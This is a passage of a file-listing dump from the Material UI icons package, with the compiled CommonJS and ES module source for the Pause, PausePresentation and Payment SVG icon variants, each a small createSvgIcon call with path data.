    "path": "packages/mui-icons-material/lib/PauseCircleOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16h2V8H9zm3-14C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m1-4h2V8h-2z\"\n}), 'PauseCircleOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8h2v8h-2zM9 8h2v8H9zm3 14c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m0-18c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8\"\n}), 'PauseCircleOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8h2v8h-2zM9 8h2v8H9zm3 14c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m0-18c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8\"\n}), 'PauseCircleOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16h2V8H9zm3-14C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m1-4h2V8h-2z\"\n}), 'PauseCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16h2V8H9zm3-14C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m1-4h2V8h-2z\"\n}), 'PauseCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 14c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1\"\n}), 'PauseCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 14c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1\"\n}), 'PauseCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm4 0h-2V8h2z\"\n}), 'PauseCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm4 0h-2V8h2z\"\n}), 'PauseCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m-1 12H9V8h2zm4 0h-2V8h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8h2v8h-2zM9 8h2v8H9z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"2\")], 'PauseCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m-1 12H9V8h2zm4 0h-2V8h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8h2v8h-2zM9 8h2v8H9z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"2\")], 'PauseCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19h4V5H6zm8-14v14h4V5z\"\n}), 'PauseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19h4V5H6zm8-14v14h4V5z\"\n}), 'PauseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PausePresentation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 19.1H3V5h18zM21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 8h2v8H9zm4 0h2v8h-2z\"\n}, \"1\")], 'PausePresentation');"
  },
  {
    "path": "packages/mui-icons-material/lib/PausePresentation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 19.1H3V5h18zM21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 8h2v8H9zm4 0h2v8h-2z\"\n}, \"1\")], 'PausePresentation');"
  },
  {
    "path": "packages/mui-icons-material/lib/PausePresentationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .85-2 1.95v14c0 1.1.9 2.05 2 2.05h18c1.1 0 2-.95 2-2.05v-14C23 3.85 22.1 3 21 3m0 16H3V5h18zM9 8h2v8H9zm4 0h2v8h-2z\"\n}), 'PausePresentationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PausePresentationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .85-2 1.95v14c0 1.1.9 2.05 2 2.05h18c1.1 0 2-.95 2-2.05v-14C23 3.85 22.1 3 21 3m0 16H3V5h18zM9 8h2v8H9zm4 0h2v8h-2z\"\n}), 'PausePresentationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PausePresentationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 15c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1zM10 8c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1s1-.45 1-1V9c0-.55-.45-1-1-1m4 0c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1s1-.45 1-1V9c0-.55-.45-1-1-1\"\n}), 'PausePresentationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PausePresentationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 15c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1zM10 8c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1s1-.45 1-1V9c0-.55-.45-1-1-1m4 0c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1s1-.45 1-1V9c0-.55-.45-1-1-1\"\n}), 'PausePresentationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PausePresentationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 3v18h22V3zm20 16H3V5h18zM9 8h2v8H9zm4 0h2v8h-2z\"\n}), 'PausePresentationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PausePresentationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 3v18h22V3zm20 16H3V5h18zM9 8h2v8H9zm4 0h2v8h-2z\"\n}), 'PausePresentationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PausePresentationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h18V5H3zM13 8h2v8h-2zM9 8h2v8H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM9 8h2v8H9zm4 0h2v8h-2z\"\n}, \"1\")], 'PausePresentationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PausePresentationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h18V5H3zM13 8h2v8h-2zM9 8h2v8H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM9 8h2v8H9zm4 0h2v8h-2z\"\n}, \"1\")], 'PausePresentationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 19c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2s-2 .9-2 2v10c0 1.1.9 2 2 2m6-12v10c0 1.1.9 2 2 2s2-.9 2-2V7c0-1.1-.9-2-2-2s-2 .9-2 2\"\n}), 'PauseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 19c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2s-2 .9-2 2v10c0 1.1.9 2 2 2m6-12v10c0 1.1.9 2 2 2s2-.9 2-2V7c0-1.1-.9-2-2-2s-2 .9-2 2\"\n}), 'PauseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19h4V5H6zm8-14v14h4V5z\"\n}), 'PauseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19h4V5H6zm8-14v14h4V5z\"\n}), 'PauseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 5h4v14H6zm8 0h4v14h-4z\"\n}), 'PauseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PauseTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 5h4v14H6zm8 0h4v14h-4z\"\n}), 'PauseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Payment.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4v-6h16zm0-10H4V6h16z\"\n}), 'Payment');"
  },
  {
    "path": "packages/mui-icons-material/lib/Payment.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4v-6h16zm0-10H4V6h16z\"\n}), 'Payment');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaymentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4v-6h16zm0-10H4V6h16z\"\n}), 'PaymentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaymentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4v-6h16zm0-10H4V6h16z\"\n}), 'PaymentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaymentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m-1 14H5c-.55 0-1-.45-1-1v-5h16v5c0 .55-.45 1-1 1m1-10H4V7c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}), 'PaymentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaymentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m-1 14H5c-.55 0-1-.45-1-1v-5h16v5c0 .55-.45 1-1 1m1-10H4V7c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}), 'PaymentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaymentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zm-2 14H4v-6h16zm0-10H4V6h16z\"\n}), 'PaymentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaymentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zm-2 14H4v-6h16zm0-10H4V6h16z\"\n}), 'PaymentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaymentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h16v2H4zm0 6h16v6H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4v-6h16zm0-10H4V6h16z\"\n}, \"1\")], 'PaymentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaymentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h16v2H4zm0 6h16v6H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4v-6h16zm0-10H4V6h16z\"\n}, \"1\")], 'PaymentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Payments.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 14V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2m-9-1c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m13-6v11c0 1.1-.9 2-2 2H4v-2h17V7z\"\n}), 'Payments');"
  },
  {
    "path": "packages/mui-icons-material/lib/Payments.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 14V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2m-9-1c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m13-6v11c0 1.1-.9 2-2 2H4v-2h17V7z\"\n}), 'Payments');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaymentsOutlined.js",
